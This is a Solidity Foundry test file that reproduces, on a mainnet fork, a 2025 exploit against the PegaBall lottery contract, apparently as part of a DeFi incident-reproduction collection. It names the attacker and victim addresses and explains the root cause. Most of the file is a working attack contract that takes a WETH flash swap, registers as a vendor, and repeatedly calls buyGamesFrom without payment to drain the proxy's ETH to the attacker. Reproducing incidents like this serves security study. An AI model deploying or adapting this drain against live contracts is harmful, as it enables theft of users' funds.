src/test/2025-06/PegaBall_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4import "../basetest.sol";
5import "../interface.sol";
6 
7// @KeyInfo - Total Lost : 1,512.85 USD
8// Attacker : 0x28a8cB85d9d2C9ee536931De22Fe80e3EfEa3bD6
9// Attack Contract : 0x60cbAA2594B2494fce81444697F10701E7B78a31
10// Vulnerable Contract : 0x29003DD6B9970AD658314fFFB61E42F352C41630
11// Attack Tx : https://etherscan.io/tx/0x3cecc3f347edff1d27a0c929f2e7a4c04522afb3a74e24db94684cb6b51b1d65
12//
13// @Info
14// Vulnerable Contract Code : https://etherscan.io/address/0x29003DD6B9970AD658314fFFB61E42F352C41630#code
15//
16// @Analysis
17// Twitter Guy : https://t.me/defimon_alerts/1229
18//
19// Attack summary: The attacker flash-borrowed WETH, registered as a PegaBall vendor, then repeatedly called
20// buyGamesFrom(uint256) without paying msg.value, extracting vendor and referrer cuts from the proxy balance.
21// Root cause: buyGamesFrom checked the buyer's ETH balance and self-funded the purchase via payable(this).call,
22// rather than requiring the caller to send the ticket price as msg.value.
23 
24address constant ATTACKER = 0x28a8cB85d9d2C9ee536931De22Fe80e3EfEa3bD6;
25address constant PEGA_BALL_PROXY = 0xB8fCABf7bd88A2489fAfBafA5f9A05a0e068cB5E;
26address constant UNI_V2_WETH_USDT_PAIR = 0x0d4a11d5EEaaC28EC3F61d100daF4d40471f1852;
27address constant WETH_TOKEN = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
28 
29interface IPegaBall {
30    function vendorRegistration(address referrer, address receiverWallet) external;
31    function buyGamesFrom(
32        uint256 amount
33    ) external payable;
34    function gamePrice() external view returns (uint256);
35}
36 
37contract ContractTest is BaseTestWithBalanceLog {
38    function setUp() public {
39        uint256 forkBlock = 22_626_977;
40        vm.createSelectFork("mainnet", forkBlock);
41 
42        vm.label(ATTACKER, "Attacker");
43        vm.label(PEGA_BALL_PROXY, "PegaBall Proxy");
44        vm.label(UNI_V2_WETH_USDT_PAIR, "Uniswap V2 WETH/USDT Pair");
45        vm.label(WETH_TOKEN, "WETH");
46    }
47 
48    function testExploit() public {
49        uint256 attackerBalanceBefore = ATTACKER.balance;
50        uint256 proxyBalanceBefore = PEGA_BALL_PROXY.balance;
51 
52        // step 1: run the attacker-controlled helper that performs the WETH flash swap and PegaBall calls.
53        PegaBallAttack attackHelper = new PegaBallAttack(ATTACKER);
54        attackHelper.execute();
55 
56        // step 2: assert that the same vulnerable buy path moved ETH from PegaBall to the attacker.
57        uint256 attackerProfit = ATTACKER.balance - attackerBalanceBefore;
58        assertGt(attackerProfit, 0.5 ether);
59        assertLt(PEGA_BALL_PROXY.balance, proxyBalanceBefore);
60    }
61}
62 
63contract PegaBallAttack {
64    address private immutable profitReceiver;
65 
66    constructor(
67        address receiver
68    ) {
69        profitReceiver = receiver;
70    }
71 
72    receive() external payable {}
73 
74    function execute() external {
75        uint256 wethToBorrow = 0.7 ether;
76        IUniswapV2Pair(UNI_V2_WETH_USDT_PAIR).swap(wethToBorrow, 0, address(this), abi.encode(address(this)));
77    }
78 
79    function uniswapV2Call(address, uint256 amount0, uint256, bytes calldata) external {
80        require(msg.sender == UNI_V2_WETH_USDT_PAIR, "unexpected callback");
81 
82        // step 3: unwrap the borrowed WETH and register the helper as a vendor with attacker payout routing.
83        IWETH(payable(WETH_TOKEN)).withdraw(amount0);
84        IPegaBall pegaBall = IPegaBall(PEGA_BALL_PROXY);
85        pegaBall.vendorRegistration(address(this), profitReceiver);
86 
87        // step 4: drain repeated vendor/referrer cuts without sending msg.value for the ticket purchases.
88        uint256 gamePrice = pegaBall.gamePrice();
89        while (true) {
90            uint256 amountFromProxyBalance = PEGA_BALL_PROXY.balance / gamePrice;
91            if (amountFromProxyBalance <= 60) break;
92            pegaBall.buyGamesFrom(amountFromProxyBalance - 1);
93        }
94 
95        // step 5: repay the WETH flash swap using the historical helper's overpayment formula, then forward ETH.
96        uint256 repayAmount = (amount0 * 1004) / 1000 + 1;
97        IWETH(payable(WETH_TOKEN)).deposit{value: repayAmount}();
98        IWETH(payable(WETH_TOKEN)).transfer(UNI_V2_WETH_USDT_PAIR, repayAmount);
99 
100        (bool success,) = payable(profitReceiver).call{value: address(this).balance}("");
101        require(success, "profit transfer failed");
102    }
103}